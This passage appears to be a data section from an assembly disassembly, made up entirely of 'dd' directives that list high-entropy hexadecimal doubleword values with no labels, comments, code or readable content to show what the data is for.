		dd 0E6C418D1h, 12920343h, 0A44F4557h, 8201D6EDh, 0AB3F1794h
		dd 0ED3EC279h, 2A7184C6h, 0FE25EE14h, 0AA2F70E5h, 2DE215Bh
		dd 0ACB00618h, 0D9D580D4h, 0A19584E2h, 2EBB3032h, 0BAA05BBCh
		dd 9D308C2Dh, 0E92640C1h, 56F1784Ah, 8B2C316Bh,	135B63C1h
		dd 69BCCFBAh, 95982AADh, 9791359h, 805CEC78h, 259F8E94h
		dd 0F2C700D5h, 6A737492h, 0C601CA1Ah, 0E2808928h, 0A0885BD4h
		dd 81033009h, 4C6832C3h, 0EBD20040h, 1BEF6DCh, 726F25E8h
		dd 0F306EE81h, 0BD890C0Bh, 0B429149h, 88215560h, 0A301F181h
		dd 8011C146h, 0B0E73FE6h, 0F6562B69h, 1DC2788Bh, 40F723E9h
		dd 6317BF30h, 510019D2h, 643C99B8h, 0B7038F79h,	0ABA4350Fh
		dd 4AEB808Ah, 703DDAEBh, 52F0F561h, 0AD7D0324h,	6A2E310Ah
		dd 0D619DF1Ah, 0BAA336A6h, 0A6E30168h, 0C8C5A317h, 0AF5F53B2h
		dd 4D5A6E02h, 64135D62h, 821FE4E0h, 977F0C00h, 0CFE05B0Dh
		dd 74053C33h, 0D2E8007Bh, 0E4620FD1h, 16004CDBh, 61F58663h
		dd 48B874h, 0AC6D1DE1h,	77E699FBh, 8D3CC377h, 0A1A700ADh
		dd 20D2989Fh, 0B15200F0h, 0DEACB41Eh, 0E0F38DE0h, 60F10390h
		dd 0D80066D2h, 0F233D5BBh, 30B3AE46h, 0E84819FBh, 50DE949Dh
		dd 0D1E0A803h, 0F820066Fh, 904147CCh, 31B4F230h, 3336C0h
		dd 44BDD18Eh, 3F7A1213h, 0FB08C479h, 340A3ECh, 4E79E888h
		dd 19454803h, 0E5C38Ch,	0F1D96459h, 4F629CA0h, 0C0175F4h
		dd 39EC7CCh, 37C448FAh,	3ACF0090h, 0D6159B70h, 8E0086CEh
		dd 0A53243E9h, 72934Dh,	0EB30B807h, 0C9C76731h,	16669600h
		dd 51C1F7E1h, 0D30D03B9h, 0AB14ED3Ah, 219E0830h, 51D9D4h
		dd 0D66F47ACh, 5EC8FB0Fh, 59144A00h, 58DB8E4h, 0A193004Bh
		dd 64728F6Ch, 34A50387h, 0C79F71EEh, 871AE892h,	19F4C097h
		dd 550DA7D1h, 58BBA06Dh, 30B2F0CDh, 0DE31C660h,	520D6720h
		dd 9F2230ABh, 51D6D707h, 0E03F604Dh, 97CD43DCh,	9C5B20C9h
		dd 0F5B0BC20h, 58113187h, 0B778131Dh, 5B171800h, 9E28E039h
		dd 9D82000Bh, 0F13E9B11h, 57031485h, 0F68B6797h, 74103CA9h
		dd 0A56A7084h, 4B40808Fh, 0F100D8F8h, 90F24A2Bh, 78D1022Ch
		dd 0FC030092h, 4DF5E01Ch, 0C500F4CEh, 98884189h, 38FB1B2Dh
		dd 0C1009A64h, 0F1BFED0Eh, 200EE9B2h, 271250h, 33395FC6h
		dd 3EB000F7h, 8C0E30AFh, 4C00E760h, 717D6C9Ch, 396667h
		dd 814E9E79h, 0BDB53BC6h, 499D4D00h, 609B5456h,	0A1680050h
		dd 7F185147h, 83A965Ch,	1DE53C2Fh, 0D6004572h, 1FF9B9D5h
		dd 4D730155h, 61EFB26Ch, 0FD59F8C1h, 6F2118C7h,	0ECBCA781h
		dd 62301EF1h, 0B1463CABh, 0E5ED9D06h, 5C0C288Ch, 614997F4h
		dd 0F5D900DAh, 0B55E7104h, 5D00D58Ch, 6C557B91h, 6C1A7E4h
		dd 361687B4h, 2F01306Fh, 0D58FEE4Ah, 29809EADh,	88519776h
		dd 9F061680h, 7E1B7FD7h, 0EF150678h, 0D1036EA7h, 0CD311C86h
		dd 9F58190Ah, 6329C081h, 9068EC82h, 3E81F398h, 86F6BDC2h
		dd 0C2E23C0h, 445C8521h, 68694042h, 126F9E2Ch, 1D867B3h
		dd 0C5EF0D45h, 5C2080E0h, 97AF56A5h, 0D21107E2h, 0C2C1E5C9h
		dd 0F6C02B93h, 7260CBA4h, 2A010DB1h, 389805FDh,	18C8698Ch
		dd 1B83B6F8h, 0CA51E863h, 0C931031Dh, 3E606633h, 0C46DA7E0h
		dd 65F8D7F8h, 0BAE45001h, 22AB9756h, 0E67891h, 895E232Bh
		dd 28D0BA77h, 33A05810h, 21E9D7EDh, 406204E9h, 93658098h
		dd 80A08C3Eh, 513323E7h, 77E8ED8Dh, 142D0316h, 0CA6FA796h
		dd 148F7939h, 22249F88h, 1C75006Dh, 0D817CB23h,	1667CAE4h
		dd 5E47E6C1h, 7E896230h, 74E37468h, 3D972A72h, 0DD8806B4h
		dd 30BCE723h, 8B07F3EEh, 9EE411DCh, 7E5D0480h, 77AD0E24h
		dd 59BACD7Ah, 4E9A5340h, 0A7FDEA00h, 0FCD9B7D1h, 692500F0h
		dd 42485F59h, 95098E0Ah, 0FA65CDh, 0DA627700h, 0BFAF2440h
		dd 0FB11013Eh, 0F05E4A7Bh, 343BE432h, 0FC007F39h, 0D6389BD1h
		dd 783EE2h, 4293DB2Bh, 0F9D8638Dh, 77BE3507h, 0B9C0D3ECh
		dd 26D423A3h, 7E7E71Dh,	22664567h, 94485B33h, 284C308Bh
		dd 4ED002Bh, 622F7764h,	9D60C5Ah, 4280290Bh, 0E02C9B0Ah
		dd 0B820E073h, 80804178h, 0F2853E7Eh, 6E0750BFh, 40DEDBEEh
		dd 0C702F05Fh, 33AB9EC0h, 0EDA3F79Bh, 213B0898h, 78003FE3h
		dd 0A88E99D3h, 0FAF51E80h, 47A70756h, 69E9F3D0h, 0B022CC87h
		dd 0C5192DBFh, 3E2C3603h, 3037DE6Ah, 0F8214208h, 0E9001924h
		dd 0F499479h, 771C17h, 0DF9B88B5h, 0D8253B71h, 0C55078C0h
		dd 4A57EFh, 0D920C83Ah,	8F38CF52h, 426BF006h, 743022F6h
		dd 235A803Ch, 0F5573D18h, 0F11011h, 0F77A80ADh,	9F73BB0Ah
		dd 21EA08CCh, 0ADE90035h, 0FC5E8225h, 6D01DBC3h, 2F833DF7h
		dd 2DE0BD03h, 0C080A06Ch, 98F1566Eh, 2A78C402h,	2E313BABh
		dd 783C9810h, 0A12D1B00h, 6BAB204Eh, 0FC24749Bh, 370101EDh
		dd 23E0FC68h, 0EEC0F232h, 1D606D80h, 0AB288718h, 0F7D537E8h
		dd 6374D110h, 0EF363012h, 2F02B4ACh, 5C36C31Eh,	104A193Fh
		dd 61926FAh, 0A5E0D604h, 75F89869h, 365B2A18h, 7C2B7DE0h
		dd 601D90D4h, 0FC0E216Dh, 0F703C2B4h, 0EFDE17E2h, 50830FAh
		dd 0B4842921h, 0AB00F8B8h
		dd 0CCD32FF6h, 30F8A0AFh, 0DDB0FAB5h, 6248EB7Ch, 8C4AE80Ch
		dd 7D620501h, 0EF418C94h, 2DEC8E4h, 0AF61140Ah,	0C8084674h
		dd 0C3808A91h, 0D3A02F78h, 9F31448Ch, 2E783B00h, 0CA399CF2h
		dd 44F067h, 0CB5D7E73h,	21EDE5DDh, 0EF58FB64h, 4278C661h
		dd 2C912BC8h, 0EB401534h, 5E1EB5CBh, 90D4748Fh,	24A2034Ch
		dd 535FE156h, 0B487E0E6h, 87607844h, 73006877h,	6C9D187Ah
		dd 0A1F509h, 0AF5AA3F2h, 0B80BA8FFh, 88E820E3h,	78C5058Ch
		dd 38C3AB2Dh, 3D099988h, 807D9878h, 34358B7Bh, 0A3E11803h
		dd 0FFCE816Bh, 0A1F85200h, 0D0F24791h, 24B33238h, 873020C8h
		dd 0F7FB11B4h, 9E7988FAh, 4B4402Eh, 5863EE59h, 3D2F2700h
		dd 77AFF599h, 2D91CFFDh, 0AC7F0720h, 0EE64F2F4h, 86612369h
		dd 0F2F7D4B4h, 2F03448Ch, 2EB4EE00h, 0E2A58CF4h, 76600062h
		dd 19201393h, 820479C9h, 0AF9B1C7Ch, 0B8A62C81h, 0F8023C25h
		dd 77C2027h, 0C50043EEh, 589B83DDh, 12E2DE42h, 47BD80ABh
		dd 0F02C85DCh, 0B68DD44Ch, 5D1381E8h, 3C603E23h, 2387ADFAh
		dd 0EC119F7Ah, 0ADF23000h, 0A7048CC6h, 53DBB300h, 0C229177Eh
		dd 0FC76CFh, 15AD611Ch,	0DD35F324h, 0BD0C1B0Fh,	0C8EDE088h
		dd 30EB09F2h, 9090F621h, 570B18A0h, 32503B8h, 8F6A7528h
		dd 0F35546F0h, 14F1342Dh, 0DBB01F40h, 6C9058A6h, 6B1E4075h
		dd 0AF829468h, 4CF2F3D1h, 192804D8h, 383436C6h,	1923039Fh
		dd 1E7D6665h, 10ABA810h, 3F23C448h, 86ADFB01h, 0EE77Ah
		dd 0E0ADF333h, 31A662h,	5B02B172h, 0E687F39h, 0C080A890h
		dd 7480E36Dh, 1D3C3177h, 40CD0A18h, 51F313DCh, 5620E063h
		dd 2B591FE5h, 0B74A4070h, 0D964EAE8h, 89002878h, 908B565Dh
		dd 715F0B0Ah, 15502C77h, 7B6E9328h, 11007F8h, 884C3183h
		dd 6C87305Ch, 49F8DD59h, 0E1A1E764h, 7C87E440h,	0FB0052C0h
		dd 0BDB6B71h, 26E716BCh, 31A08F7Bh, 0E2B938h, 746B030h
		dd 0FCFD85Ah, 0B87DB80h, 0FEB2F1F4h, 0F688F0D1h, 0BF296607h
		dd 13459933h, 5D9CD680h, 6D7A76h, 7740E6C9h, 0ADEE7F32h
		dd 3078C373h, 9A71A57Ch, 436E4900h, 6041199Dh, 9ED61CE5h
		dd 4DF5C639h, 0B43109C1h, 0ED80209Ah, 6688F4h, 0AD363178h
		dd 0CE869E90h, 3C695500h, 8B96C0ECh, 0CA00FA6h,	1C4053h
		dd 18FDCDCCh, 9D06462Ah, 0E6F0DE25h, 97C90038h,	0C404115h
		dd 5A00EF95h, 2DDA13F8h, 217381h, 0E5C69A46h, 276D16E8h
		dd 6020416Eh, 9D49A394h, 820A7C8h, 0EC076EEh, 3B0D385h
		dd 2D2E13F9h, 907CFC59h, 0CDD5D606h, 110F331h, 5B1E9A33h
		dd 0BA3C6178h, 0BF5200E0h, 404DD316h, 0D433019Dh, 9F6D170Ah
		dd 2091B145h, 3F03465Dh, 17B5F5C0h, 0F90998DEh,	80B380EAh
		dd 339964FAh, 0C081298h, 0E3542100h, 5AC2A903h,	68AD07FFh
		dd 5152F608h, 44973D6Fh, 44D408BCh, 0EBD738C0h,	866FB039h
		dd 85B544D4h, 907CE079h, 0A39D0F15h, 8C8B3E9Ch,	504719F2h
		dd 3A048C42h, 3E39E1D7h, 8723A962h, 43B1C8E2h, 60C71892h
		dd 62A7583Eh, 28C5DA80h, 7B83C0Bh, 0CA6CF1Dh, 0F341826Ah
		dd 3E484B0h, 0EA80DF11h, 569C0588h, 6C790380h, 38DAB743h
		dd 0AB06D354h, 0A8419795h, 0E440EF0Ah, 2EBCC4A1h, 71133521h
		dd 15F99F01h, 89884C6h,	0F1062122h, 0E4F25600h,	0C74CBCF7h
		dd 33E20148h, 94AB0BC6h, 6E298C32h, 93E9BDh, 2A256458h
		dd 0D117C1FAh, 0E48FE900h, 0FE993091h, 0C977B44h, 1467C450h
		dd 9D120EB8h, 2C1DA8F3h, 8D82C100h, 2411BFE6h, 0F6084120h
		dd 0A25B6A00h, 3915A083h, 3C57D7Dh, 2E1D58BDh, 0C022184Ch
		dd 3D340913h, 602D1241h, 7EE0D3A8h, 8720C551h, 0A1BC0A19h
		dd 44A442FFh, 569067E2h, 8C8CCF4Bh, 2082A44h, 4E6D56F7h
		dd 5860FC0Ah, 1F02C5A7h, 71785132h, 9F944046h, 9ACE1E4Ah
		dd 0E6860018h, 8BC68380h, 0EF3B0498h, 14DB240Eh, 9C162F60h
		dd 0A1976018h, 0E88D4EFDh, 324A0C03h, 30521444h, 0D621A908h
		dd 36058D46h, 0B4AB8497h, 70C2B81Eh, 9011162Ch,	118D7124h
		dd 88520CE9h, 49DD819Eh, 0E45C138Dh, 9A0357F6h,	0B5C1CAA8h
		dd 0EF46D868h, 0C8864C94h, 8047DB14h, 24D01A1Fh, 213B8394h
		dd 0F0065565h, 953AA380h, 33FC80E0h, 9742060Ah,	314FD21Ah
		dd 1846B4A1h, 0E5D61DDEh, 0C8F51039h, 0E6838FACh, 0CD11E420h
		dd 0F10050BDh, 3B0568FAh, 0CA223D01h, 2F09878h,	8AE0ED33h
		dd 10DB9041h, 31786311h, 4E2847E1h, 104826E8h, 9E1E4651h
		dd 0B89798DBh, 1732C2C0h, 46212069h, 2F24658h, 80DC039Fh
		dd 570E1CE2h, 80B7039Ch, 0C91EE143h, 0ADD8121Ah, 94940A01h
		dd 0A432B8BCh, 9862C290h, 36AFEC8Fh, 0ACE12890h, 1A24C520h
		dd 39646E38h, 0B3E3506Dh, 0C630F03Bh, 858F3D1Bh, 180019D8h
		dd 9D453ACBh, 2C00DFD3h, 5BA653F6h, 20F07AFh, 71D4306Ah
		dd 449542h, 0DA1E9888h,	8288F4F8h, 45AC90A1h, 0C4C847D4h
		dd 8F3E0893h, 462088C1h, 165BC451h, 237828D4h, 8D4A0098h
		dd 2D2A0CECh, 0D2A54486h, 0A88D421Eh, 3FD1D4C7h, 5FDB8461h
		dd 0A16B830h, 4D7D2939h, 0F44A1598h, 2A539A10h,	7490CC27h
		dd 749B7139h, 21908802h, 9D36C550h, 82A09148h, 0A7D0EB99h
		dd 65B01EE4h, 8A0494AAh, 18E62C41h, 4F5608EBh, 23C4ECCFh
		dd 56F30C40h, 831DD30Bh, 19B7A13Dh, 30C58F00h, 2BCB0024h
		dd 6C61E238h, 0CA03F04Ch, 19E75F52h, 0EE9900A7h, 0D17C7D9h
		dd 0ADF605D6h, 74911B7Ch, 1E9CD508h, 333130C8h,	791F8C6Ch
		dd 0CF8039EAh, 0F6853C9Bh, 509103DEh, 0E633AA35h, 0CEF596F0h
		dd 5CE93D2Eh, 80052893h, 7887F74Ah, 27E87CC1h, 0E2E405F1h
		dd 16C31FA6h, 709E18D2h, 0D9006A5Bh, 1284426Fh,	6177991h
		dd 0C0F952D3h, 3E3398A3h, 302840EDh, 34584E9Ah,	0A13B177Fh
		dd 2C763D53h, 465E78F4h, 0A80E00D9h, 2F805D7Bh,	77531CDh
		dd 4BD80FC0h, 0C0D88828h, 55BE6AB3h, 1B8F991Ch,	182AEB68h
		dd 0F80FA893h, 0E4B6F392h, 4C816A7Fh, 5B175155h, 40F9E022h
		dd 0EE18E311h, 0CF485605h, 4073F694h, 6E56D813h, 0A1852E86h
		dd 0C0B05BCh, 15A000BFh, 14462B5Ah, 629EA903h, 0BE45A3h
		dd 15A64139h, 9A4AB8CBh, 78F4B32Ch, 68D301DCh, 9BE6BC6Eh
		dd 895AF4A8h, 0F9AD2630h, 0BB4EBAh, 0D90AAEFAh,	0B0A77759h
		dd 5A71F916h, 47EDDF0Fh, 9F703B7Eh, 2801C096h, 98C2321h
		dd 17B9C219h, 9D41684Ch, 4D6E3086h, 0CE098844h,	201A81C5h
		dd 0E7B28D40h, 97CB0FBh, 0CD71DF73h, 0D840AC4Ch, 420A791h
		dd 30FAE313h, 2509397Eh, 0E4244131h, 0B00CA69Bh, 405CE91h
		dd 0B5049936h, 6BC0901Eh, 8902596Ch, 9EDEB3E0h,	0F49C4038h
		dd 462C0258h, 0B2A3650Ch, 0B482E4C2h, 0E09F66Dh, 7087314Ch
		dd 5A0CE18Dh, 88A30C32h, 8D0048D4h, 47B0E5A1h, 0C1FA1DCDh
		dd 2B955248h, 99B04153h, 40B0A8A4h, 0ED1DE046h,	9CCFC856h
		dd 1240D9C4h, 283F56F5h, 6EF49600h, 0FF45C289h,	2408B92Ah
		dd 5E402CA4h, 0E302A346h, 0BB69E481h, 39B8A4A0h, 9B002A28h
		dd 651FC898h, 3B2F75CAh, 70E0693Dh, 0F283AADFh,	58309D4Ch
		dd 8CB6E82Ch, 6E66C701h, 0EFF1D39Fh, 290F4885h,	1A2CD131h
		dd 46C45C7h, 1656D10Ch,	1280818h, 2C149157h, 2C3100F2h
		dd 6C85EB4Ah, 0F1F71700h, 8FA032FBh, 0B900065h,	0DCA7793Ah
		dd 8C0097BEh, 0F2065C31h, 1A92C0Fh, 0F8EA77B7h,	0E8A480C7h
		dd 111FD217h, 0AF80FA28h
		dd 626DCDC5h, 2C7500E0h, 854FE396h, 2D006B08h, 0EEFEF42Fh
		dd 3991532h, 661B5E12h,	7D029FDh, 50709CF6h, 0D75C7507h
		dd 484C681Dh, 93310024h, 10E72EC3h, 52004318h, 6D69636Ch
		dd 0DB67D7h, 0F8FE75DFh, 0F64FBF3Dh, 0FC7E8900h, 6004111Dh
		dd 0F13C58CDh, 913A2700h, 0E50E0FCBh, 41B88303h, 0E1EE09CEh
		dd 90B9FECDh, 0A7321800h, 0E96B0DC0h, 4BE39100h, 0CE07593Dh
		dd 0EAD9C05Eh, 6BE6C531h, 61D53Eh, 15568236h, 0F46D24DFh
		dd 51CDB826h, 0E4D418F7h, 3C6A01A8h, 3B25A767h,	5C1886D5h
		dd 8F38Dh, 8C7E6E62h, 4878F060h, 1BA1BB00h, 0F616E15Fh
		dd 8749C64Eh, 910039D9h, 95788811h, 94327Fh, 0DABF92CBh
		dd 0F974308Ch, 0C99C6600h, 585F8606h, 26D41E3Ch, 0B81C402Dh
		dd 0F020CD11h, 5A13F500h, 725374AFh, 293800EFh,	9EC0D102h
		dd 0F0007BE0h, 85B1DCE7h, 35DFB8h, 0BF2B4D71h, 8C26D076h
		dd 3072D7A0h, 9F31010Fh, 32028084h, 3C6DE416h, 560083CEh
		dd 698A80B6h, 130009F5h, 0E9B1ECF0h, 39C929Dh, 9778C526h
		dd 4087FF22h, 0EAD495C1h, 0FD671A00h, 38E277A7h, 6F83000Eh
		dd 0D7B32E78h, 3F009D5Dh, 0CCB88DDDh, 0A97353h,	997271EDh
		dd 0F24B6677h, 11091D30h, 1FDE38ACh, 80546D67h,	0E563A3F4h
		dd 20069ECDh, 7AC8E134h, 1A9839B8h, 1D537700h, 0B5F0ACABh
		dd 0DB68BB00h, 0A03FD68Ch, 0DD5603CFh, 0BEE02DC1h, 0B25577D8h
		dd 0A1D8A700h, 0A6386ABDh, 0BE89Eh, 0B9957E5Eh,	0DEA91B78h
		dd 0B110AB0Eh, 6DEC86DFh, 9DD30020h, 94836BB9h,	0C70037F9h
		dd 36A0E406h, 1177E5h, 2C0D597Eh, 5E22F893h, 28C059DEh
		dd 0BA533527h, 2BFF180Eh, 9FBC08CAh, 0E06020C0h, 994326h
		dd 94145BEEh, 1B8E4AD9h, 7FCBB306h, 37580E85h, 7884672h
		dd 0EA209055h, 9139C81Fh, 9EC16184h, 798E30C2h,	3DC0B08Bh
		dd 0A9CE1265h, 8F98BA00h, 0C4DD958Eh, 26B8CEB8h, 0F7C91360h
		dd 0E5F9800Bh, 9218817Dh, 0F4B7F039h, 0A732500h, 0C3980F82h
		dd 17549B3Dh, 32E2D41h,	0C36B82E8h, 0E45BF989h,	1D00EF4Eh
		dd 23360BAh, 81BFAEh, 926323E6h, 4BC0F604h, 7BF1031Eh
		dd 0C01A244Fh, 0B0B5A780h, 13773DFh, 0ABBA303Eh, 309CD30Fh
		dd 1B00C3DFh, 0E123AC62h, 7E0D87h, 0D35B02B2h, 0A0FED8B1h
		dd 8305DB00h, 49BC5EC0h, 9325508Bh, 0C64E00FDh,	0BDF933F0h
		dd 740003C4h, 0D25706B6h, 9A8F13h, 0CE754A7Dh, 0D4A6FA92h
		dd 94E66300h, 3968107Ch, 0EFF41E73h, 0E79B0F3Ch, 0C1CCB483h
		dd 7E0C2078h, 3160279Fh, 0A33C265Dh, 0AA2E004Fh, 195FDE90h
		dd 0F847E900h, 0FE6A6FF9h, 934C012Bh, 0C03A76A0h, 13EDC00Fh
		dd 0AB65CF00h, 4264573h, 0AD3EE275h, 837C1F14h,	9C1E2279h
		dd 3141991Eh, 0ADC6BEC1h, 70D1AA40h, 0D6EEB180h, 21E53EEDh
		dd 377B9D00h, 0EA3317E6h, 295B007Ch, 8520E964h,	0E0F618B4h
		dd 27384161h, 15D4D612h, 406100C2h, 76185DE8h, 901CFF1h
		dd 998447A6h, 0D8FC5F66h, 177D00E5h, 7E641E18h,	39301046h
		dd 0BEDF8107h, 0F290053h, 0E1FD3EDh, 996E6436h,	6C9D21B9h
		dd 7FFCD704h, 874C0BF3h, 840C50CEh, 0BAFB6641h,	0B6861450h
		dd 9EC3003Ch, 0FF0914D7h, 0D511035Dh, 5B9A3A6h,	6A7E25C0h
		dd 0E71822FCh, 2949741Dh, 3D4AB07h, 0B3C427D6h,	100095A6h
		dd 0D45AABCFh, 8FDB0Eh,	86317BA0h, 0E28CC4E7h, 0B5B44003h
		dd 0E10827h, 0AF9EC240h, 23A51538h, 5480E000h, 83FE9F93h
		dd 51A02806h, 0EFB3F0C7h, 135D450h, 3DF200EDh, 2FFB143Eh
		dd 0E91F4BDBh, 8A87C9A1h, 0FCE35C3Ah, 7B9B9003h, 0D992030Bh
		dd 228FE602h, 719C1812h, 13BB2C06h, 75C02118h, 44BAAE88h
		dd 0DABE3109h, 21861D08h, 3111BFEEh, 0D4A9904h,	93807BEh
		dd 3A0C705Fh, 0FC081617h, 3E7BDA1Fh, 0F1950C41h, 18813976h
		dd 9B141B69h, 5C509136h, 204EB706h, 1D02390Bh, 899B3126h
		dd 86CE614Ch, 95F7C7DFh, 489A83C3h, 5067F97Ah, 0B409A1B9h
		dd 3C81BCF5h, 0FD411827h, 3C44B111h, 0D4185C0Fh, 7E366007h
		dd 0A3792060h, 0D57D5EAh, 0BA6B0212h, 0DE99F020h, 844511Fh
		dd 3B667DC0h, 64E6E65h,	30B33DFEh, 0BC00290Dh, 939D7153h
		dd 37046043h, 7A085B8Bh, 0A4F80D0h, 0FB496271h,	40B83B07h
		dd 611662Eh, 284B6B17h,	303AB4C4h, 7B579Eh, 0F01A3821h
		dd 98013183h, 47136A02h, 80D5781Bh, 0FB0306A4h,	0CCA4C5h
		dd 4CCA81DCh, 0C1E0FD77h, 8CC7E7Eh, 1FBF21F3h, 0C0B8CAA9h
		dd 21B7D676h, 9805047Ch, 1B44DC86h, 0F3A984Bh, 0C07B4CCDh
		dd 0B5A81B99h, 70237838h, 0CD1703F1h, 2F98775Ah, 0F2897F3Eh
		dd 0CABF7017h, 83013F78h, 0FBB4ED91h, 0DCFCE667h, 0D5002BBh
		dd 6ACB0E44h, 1E1094ACh, 95782760h, 559BF7h, 0EC2875C4h
		dd 2DA26451h, 0D4196200h, 0F307F0BEh, 35C30047h, 0F92BA4DDh
		dd 2A00E2C4h, 1063690Ch, 533260h, 0F059D602h, 0E918E8D0h
		dd 57BAA801h, 3EECD719h, 14535FD0h, 4500533h, 0BE6C1FEh
		dd 6840746Ch, 3EA3FFC7h, 7002500Ah, 4A4F7173h, 33FA9560h
		dd 15E48D01h, 0CAC72D95h, 185DD8E0h, 2968030Bh,	0E1885ABDh
		dd 0FE9440CAh, 79142284h, 80281150h, 84D22744h,	78DA0A22h
		dd 22B38B75h, 21062911h, 8967447Eh, 6C0879C0h, 0A6EB31h
		dd 64B7FFB5h, 1481361Ch, 5C201B1Fh, 0BAF9BD00h,	0E7B555h
		dd 57E00889h, 0A871B772h, 1CDB8401h, 290ACCDFh,	0D895A0E3h
		dd 11CA00D0h, 59D227BAh, 8900ECAEh, 15AC90E5h, 0F33066h
		dd 3B5ADE52h, 94CB97EAh, 0C2F78400h, 0D2E3187Dh, 8F4E007Ah
		dd 0DAD5A5E2h, 0CA07FE96h, 42F7F62Ch, 308277C0h, 892800BCh
		dd 0E897D6A9h, 5376D10Eh, 9A00E6E4h, 0E19D3D41h, 77ED5Fh
		dd 0ECE2C7Eh, 0C203502Bh, 0D4604E00h, 0E0758C6Ah, 0DDEF0A99h
		dd 87E82543h, 80A6B1C9h, 15939B1Eh, 3CA25A00h, 1922B0F1h
		dd 1A50006h, 121ADD34h,	0A61F5292h, 5C02431h, 1F88BDB8h
		dd 0F8D20008h, 3CCBB9FFh, 32E67C9Dh, 81002090h,	0DBF19F91h
		dd 35FA3EAh, 28C0D9A5h,	107BEB8Fh, 0D088CF07h, 7F0A087h
		dd 3A191D92h, 0D90E444Ah, 0A7608FE4h, 0F380AABAh, 4139BD7Dh
		dd 71049F33h, 624092DFh, 779B5298h, 0F2C9008Ah,	241BE0FCh
		dd 56305FE8h, 0F5DF40A7h, 0CE6D0075h, 87EC1EEDh, 0B1EC313h
		dd 0CA00E7A1h, 8D102061h, 0E44B0043h, 35D0A657h, 850CCC17h
		dd 0BE7E94B5h, 0F830104h, 8A01B270h, 0D157F838h, 0EF09EEE6h
		dd 3F82B6h, 7D7E2F98h, 47B800E2h, 0F8A01327h, 40F88DE1h
		dd 0CDD8EA00h, 83158E35h, 0AFB00BF3h, 9A836C59h, 16A8FAA8h
		dd 0B8070F92h, 227EE25Eh, 80454340h, 2A940E6Eh,	0AA3C37Fh
		dd 2398C13Fh, 8A00674Fh, 5FDD7A4h, 1A62A09h, 49085A35h
		dd 0F6B0F4B6h, 27E2BCA0h, 3B00391Eh, 25962AE4h,	0A8D76E6h
		dd 0D2441A77h, 6DFA80ECh, 4507EFE1h, 916D580h, 246BCFC7h
		dd 75393007h, 1CEC0035h, 69C0976Ch, 358610Fh, 8B7AA029h
		dd 0F8A0616h, 3BB8915Eh, 0A49A81C0h, 0CB002605h, 0DEF9980Eh
		dd 7AAC5C58h, 0A1191F1Bh, 73B80772h, 89082076h,	55003180h
		dd 643ABE59h, 28FAAC38h, 0EC4D445h, 1CFB3B9Dh, 91A9CD40h
		dd 9A00E995h, 67B04611h, 733FBBE3h, 1203FA7Ch, 3591390h
		dd 29D4F070h, 97BC0EF8h, 0C4016CE4h, 0F3FAF8EBh, 0B4F0547Bh
		dd 0FDB30051h, 0EFF1DE5Dh, 0DA000C28h, 2C80785Eh, 1EF4C582h
		dd 16D13354h, 0EABA09C4h
		dd 1E42F800h, 5F00594Ah, 0F31629B9h, 1808F7Dh, 898835C2h
		dd 60F184E2h, 6100F62Bh, 9C3F2C72h, 0E4090Dh, 2D9B5B3Ah
		dd 34E706F9h, 0A3089F04h, 20D891D7h, 4F0006Dh, 28150949h
		dd 0A3003236h, 2E353E58h, 232148h, 2D262284h, 919F803h
		dd 0A704A000h, 0F9180CE2h, 32AE673h, 0A1DE084Fh, 48E0039Eh
		dd 0F701EC42h, 207F87Fh, 0AFD47BB5h, 0E7780080h, 0EA049E84h
		dd 1AF09648h, 0C9AE222Eh, 0B737E901h, 74244418h, 6D541333h
		dd 901A010Dh, 0BF2DF017h, 0C16B9818h, 0F5B320F8h, 1432C20h
		dd 3D7A9771h, 21697B67h, 80086084h, 0B6028672h,	0F2FD7628h
		dd 3420409Eh, 60F5001Fh, 0AA986CDBh, 9D002FF8h,	1D617543h
		dd 37A0BBCh, 0FBDC897Ch, 8CE0182Bh, 8036C4Fh, 4073F1A2h
		dd 0EFC3F027h, 0AAE118EBh, 7889207Ah, 236D6300h, 0DEE63081h
		dd 9AE0011Ah, 0B9B7A4ABh, 0A8CDF069h, 23CE4Ch, 13EB0F45h
		dd 1E5294D9h, 7A4E93Eh,	0C3BB2B83h, 32A0EAEFh, 131E643Dh
		dd 5500E8A1h, 19977D79h, 1FD0035h, 947E21B6h, 30002E74h
		dd 9811FADAh, 18899D91h, 0B0B2FDD6h, 0D000034Bh, 0E815BAAh
		dd 76D113h, 3AD5044Ch, 0FE61B06Bh, 929B891Dh, 8CA68640h
		dd 901A1h, 0B0FAF043h, 76381EE0h, 2C05700h, 6C6EC278h
		dd 3057C14h, 98404588h,	80B024A4h, 0EA0F8A56h, 60099ED4h
		dd 0D13A73BDh, 37C70E21h, 8E80C920h, 5F477A26h,	0CFCCD901h
		dd 335B8963h, 497D6ECCh, 6800A84Bh, 10DCE3Bh, 0E5001FD4h
		dd 0BE56B9C4h, 0CDC673h, 0C1DC0CFEh, 871535DAh,	8F686900h
		dd 0D19754D8h, 0BAE505CBh, 802CFC06h, 69EA0C48h, 0A8F13B24h
		dd 0F4C71A02h, 0DD804058h, 1F747AB3h, 0C9FD1907h, 30003335h
		dd 0F536141Fh, 0D7586803h, 0C84952E0h, 1310AD5Ah, 4E7D842Fh
		dd 6FA035C0h, 0BBFC897Fh, 4B56B000h, 9EC4E3CBh,	0B42E4C68h
		dd 0F5F16700h, 946FDC14h, 562F7A13h, 450E6C60h,	21461F5Fh
		dd 0D8C183A1h, 8EA84E74h, 3588C6Eh, 650E0330h, 0F064F948h
		dd 0EC0163h, 0FB086DE0h, 0F74A49C5h, 12F8E500h,	0DE7C4EB4h
		dd 186800BAh, 956592B5h, 450066F3h, 2E12F52Dh, 38010F8h
		dd 0E6C6DE9Ah, 24D3C0FAh, 91408682h, 0FD0091CCh, 0DDF12A6Ah
		dd 0FA32C3FEh, 6FEB00B9h, 0BCA89D03h, 0CB001EB3h, 0C30136E1h
		dd 0FDC1C3Ch, 0BDCEEC34h, 41336183h, 0C0A41DC5h, 0A2191A31h
		dd 8707E4C3h, 0DB70752Eh, 0D9664C0h, 0E2080F17h, 0C8C04180h
		dd 779FB7E0h, 5502459h,	0D372EE5Ah, 4022DC80h, 0E00114F5h
		dd 0FE08A4D9h, 7A803A1Ch, 0B182F002h, 807AF4h, 0E9CB921Bh
		dd 0A3F35791h, 54ABE600h, 0AC826384h, 9AEF00AFh, 217DC18Bh
		dd 0DF00B833h, 0FA90CA49h, 18C85D84h, 9811A26Ch, 94003A97h
		dd 54A4E48Bh, 0DF7E07h,	0C2A1011Dh, 0BB5585BCh,	0C6AF4300h
		dd 1B17C1A9h, 511D3A19h, 0C1DAED1Fh, 282232DBh,	0E088D198h
